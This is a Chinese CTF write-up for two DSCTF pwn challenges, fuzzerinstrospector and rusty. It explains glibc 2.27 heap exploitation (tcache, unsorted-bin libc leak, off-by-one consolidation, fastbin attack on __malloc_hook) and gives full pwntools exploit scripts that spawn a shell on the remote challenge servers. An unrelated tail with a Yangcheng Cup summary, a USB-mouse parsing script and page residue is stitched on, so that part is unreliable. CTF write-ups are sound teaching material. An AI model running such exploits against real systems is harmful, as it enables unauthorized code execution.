DSCTF pwn 部分wp

这篇博客详细介绍了如何利用fuzzerinstrospector和rusty两个pwn题目中的堆溢出漏洞,通过泄露libc基址并调用system函数执行/bin/sh来获取shell。作者首先分析了程序的内存分配和释放行为,然后通过精心构造的堆块合并和off-by-one错误,成功泄露了libc基址。最后,通过fastbin attack实现了getshell。博客中还提到了一些在不同glibc版本下的技巧和挑战,以及解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

DSCTF pwn 部分wp

原谅我懒,不想附图了,客官老爷们多包涵。

拿了第七:

32RK7_6C5A[)O6($F8NH1$C

出了两道pwn:

66J0WNBXM}1U_C7~XZV(MBR

fuzzerinstrospector

Case 6 有带rdi的任意指针调用,只要泄露libc即可。

rdi指向的内容可控。

add函数和edit函数功能相似。add函数malloc指定大小0x108。

前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。

可以先free掉七个堆块进入tcache填满,然后delete堆块进入unsortedbin。

不过申请unsortedbin的时候,他似乎会先检查符合tcache大小,然后放进tcache再分配,这时候会清空fd,就不能达到泄露的目的。

所以我通过合并操作先让他与旁边堆块合并再与top chunk合并,保留下来了fd指针。

然后利用scanf读入失败,就不会给前八字节赋值,把fd保留下来了,然后泄露libc基址。

最后调用system(‘/bin/sh’)即可。

exp:

from secrets import choice
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/DSCTF/fuzzerinstrospector')
r  =remote('39.105.185.193',30007)
libc = ELF('/mnt/hgfs/ubuntu/DSCTF/libc-2.27.so')

def menu(choice):
    r.recvuntil(b"Your choice: ")
    r.sendline(str(choice))

def add(index,content):
    menu(1)
    r.recvuntil(b"Index: ")
    r.sendline(str(index))
    for i in range(8):
        r.recvuntil(b'Index')
        r.sendline(b'+')
    r.recvuntil(b"Bitmap: ")
    r.send(content)

def delete(index):
    menu(4)
    r.recvuntil(b"Index: ")
    r.sendline(str(index))

def show(index):
    menu(3)
    r.recvuntil(b"Index: ")
    r.sendline(str(index))

def edit(index,content):
    menu(2)
    r.recvuntil(b"Index: ")
    r.sendline(str(index))
    for i in range(8):
        r.recvuntil(b'Index')
        r.sendline(content[i])
    r.recvuntil(b"Bitmap: ")
    r.send(indexindex)

indexindex = b''
for i in range(0x100):
    indexindex += i.to_bytes(1,'little')
add(0,b'a'*0x100)
add(1,b'a'*0x100)
add(2,b'a'*0x100)
add(3,b'a'*0x100)
add(4,b'a'*0x100)
add(5,b'a'*0x100)
add(6,b'a'*0x100)
add(7,b'a'*0x100)
add(8,b'a'*0x100)
[delete(i) for i in range(9)]
[add(j,indexindex) for j in range(7)]
add(7,indexindex)

show(7)
fd = 0
for k in range(6):
    r.recvuntil(b'Bit: ')
    tmp = int(r.recvuntil(b'\n')[:-1],10)
    fd += tmp<<(k*8)

libc_base = fd-0x3ebca0
system_addr = libc_base+libc.sym["system"]
delete(0)
menu(1)
r.sendlineafter(b'Index: ',b'0')
for i in range(8):
    r.sendlineafter(b'Index: ',str(b'/bin/sh\x00'[i]).encode())
r.sendafter(b'Bitmap: ',indexindex)
menu(6)
r.sendline(str(system_addr))
# gdb.attach(r)

log.success("libc_base: "+hex(libc_base))
r.interactive()

rusty

  • 1.add功能:add 0-0x100大小的堆块。并且调用的是calloc。

  • 2.edit功能:可以有off by one。

  • 3.delete功能:删除上一个add的堆块,也就是说delete是从下往上free的。

  • 4.show功能:有utf-8编码。

有了off by one是可以构造chunk overlapping的,不过问题出在这道题调用的是calloc,会清空堆块内内容,并且free的不可控性让这道题难度增大。

思路一:glibc2.27版本下,我的最初想法是看到了程序自带的0x1800大小的堆管理结构,我想泄露堆基址后通过古老版本已知堆基址的unlink改变堆管理结构中的堆指针。这样就可以写入已知的栈地址,进行泄露libc和getshell。不过堆地址在我看来几乎是不可泄露的。原因1:要show的话就必须使当前堆块没有被free掉,当前堆块没有被free掉的话,能show出堆地址就只有一种可能性了:通过unsortedbin分割一个堆块,然后show这个堆块里的内容。不过可惜,这道题用的是calloc,会清空堆块内容,所以泄露堆基址这一思路我放弃了。

思路二:由于这道题的delete是从下往上free,所以off by one基本上没有什么用。因为off by one构造chunk overlapping基本都是往下构造的。我想到用off by one转换成off by null向上合并。在glibc2.27版本下是没有对size和prev_size的检测的。那么我们可以采用夹心饼攻击。通过两个unsortedbin中间夹tcache bin来泄露libc基址。同时由于calloc不分配tcache,所以我在中间也夹了fastbin。最终用fastbin attack getshell。

问题来了,我们off by null合并堆块得delete下方堆块触发合并,那么就得先在上方构造一个unsortedbin,再free掉下方堆块触发合并。

但是delete是由下往上的free,如何在不free掉下方堆块的情况下,使得上方堆块出现一个unsortedbin呢?

我这里采用的方法是先将0x80与0x100大小的tcache空闲列表填满,然后free掉两个0x100大小的堆块合并成一个0x200大小的unsortedbin,然后将其切割成0x90大小的unsortedbin。

这样上方就会有一个0x90大小的unsortedbin(带fd,bk)。

然后再在下方calloc(0xf8)堆块,free掉若干的0xf8大小的堆块后。然后通过off by one edit最顶上的0xf8大小的堆块,向第二个0xf8大小的堆块写入fake_prev_size和\x00字节,最后free掉第二个0xf8大小的堆块触发向上合并。

这时候再切割大unsortedbin到未被free掉的0x100大小的堆块,然后用show功能show出libc基址。

这里出题人show出的是utf-8编码后的字符。

我python3可以直接解码,但是python2会出一点问题,得分段获取。

然后就是fastbin attack。打malloc_hook填入ogg。

不过我本地早就通了远程通不了。

由于我的堆风水过于复杂,被迫换ubuntu18调试,换了ubuntu18之后libc小版本一致,这解决了第一个堆风水的问题,那就是原有程序free掉了一个0x100堆块,导致我多填充了一个。

解决掉这个问题之后我的远程还是通不了,最后尝试在malloc_hook附近爆破0x7f字节的地址成功了。

exp:

from pickle import TRUE
from pwn import *
from time import sleep
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/home/cru5h/bin/2022/11/rusty')
# r = remote('39.105.187.159',30008)
libc = ELF('/home/cru5h/bin/2022/11/libc-2.27.so')

def menu(choice):
    r.recvuntil(b'Command:')
    r.sendline(str(choice))

def add(size):
    menu(1)
    r.recvuntil(b'Size: ')
    r.sendline(str(size))

def edit(index,size,content):
    menu(2)
    r.recvuntil(b'Idx: ')
    r.sendline(str(index))
    r.recvuntil(b'Len: ')
    r.sendline(str(size))
    r.recvuntil(b'Data: ')
    r.sendline(content)

def delete():
    menu(3)

def show(index):
    menu(4)
    r.recvuntil(b'Idx: ')
    r.sendline(str(index))


def pwn(i):
    r.recvuntil(b'Let\'s build a rusty house!\n')
    stack_addr = int(r.recvuntil(b'\n')[:-1],16)


    [add(0x88) for i in range(8)] #0-7
    [add(0x100) for i in range(9)]#8-16
    [add(0x68) for k in range(8)]#17-24
    [delete() for j in range(17)]
    add(0x80)#8
    add(0x100)#9

    [add(0xf8) for k in range(9)]#10-18
    [delete() for l in range(7)]
    edit(10,0xf9,b'a'*0xf0+p64(0xc70)+b'\x00')#9-11 exists

    delete()
    add(0x70)#11
    [add(0x100) for o in range(6)]#12-17
    add(0xf0)#18
    [add(0x60*2) for o in range(4)]#19-22
    add(0x40)#23
    

    show(10)





    r.recvuntil(b'Data: ')
    # something= r.recvuntil(b'\x7f')[-6:].decode('utf8')
    # print(something)
    r.recv(2)
    # res = r.recvuntil(b'\x7f')
    # print(res)
    # print(len(res))
    # libc_base = u64(res.ljust(8,'\x00')) - 0x3ebca0

    libc_base = u64(r.recvuntil(b'\x7f').decode('utf8').ljust(8,'\x00'))
    libc_base = (libc_base<<8)+0xa0-0x3ebca0
    print(hex(libc_base))
    one_gadget = libc_base+0x4f302
    malloc_hook = libc_base+libc.sym["__malloc_hook"]
    print(hex(malloc_hook))
    # edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8))
    
    edit(19,0x40,p64(0)+p64(0x71)+p64(malloc_hook-0xb-0x8 - 0x48 +i))
    # gdb.attach(r)
    add(0x60)#24
    add(0x68)#25
    edit(25,0x20+0x48-i,b'g'*(0xb-8 +0x48-i)+p64(one_gadget))
    # pause()
    
    # log.success("libc_base: "+hex(libc_base))
    # gdb.attach(r)
    menu(1)
    r.interactive()


for i in range(0x60):
    r = remote('39.105.187.159',30008)
    try:
        print(i)
        pwn(i)
        
    except EOFError:
        r.close()
### 关于羊城杯2024 PWN比赛Writeup 针对2024年“羊城杯”粤港澳大湾区网络安全大赛PWN部分的比赛写真,可以参考Ns100kUp发布的详细分析[^1]。该文档不仅涵盖了比赛的整体情况,还特别提到了一些关键技术细节。 #### xpstack技术解析 在比赛中提到的一个重要概念是`xpstack`,这是一种用于处理特定漏洞利用的技术框架。通过这种技术,选手能够更高效地构建攻击载荷并绕过某些防护机制。 #### hardsandbox挑战分析 对于hardsandbox这一题目,存在一个问题即使用`openat2`函数仅能在本地环境中成功执行而无法应用于远程场景[^2]。这主要是因为`openat2`涉及到的操作权限以及网络环境下的文件描述符传递问题,在实际应用中需要额外考虑这些因素的影响。 以下是将USB数据转换成坐标的Python脚本示例,此代码片段来源于往届比赛中的一个实例[^3]: ```python nums = [] with open(&#39;usbdata.txt&#39;, &#39;r&#39;) as keys, open(&#39;xy.txt&#39;, &#39;w&#39;) as f: posx = 0 posy = 0 for line in keys: if len(line.strip()) != 12: continue x = int(line[3:5], 16) y = int(line[6:8], 16) if x > 127: x -= 256 if y > 127: y -= 256 posx += x posy += y btn_flag = int(line[0:2], 16) # 解析按钮标志位 if btn_flag != 0: # 如果检测到鼠标按键被按下,则记录当前位置 f.write(f"{posx} {posy}\n") ``` 此外,还有一个名为`Re BBBButton`的flag字符串提供了进一步的研究方向[^4]。
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值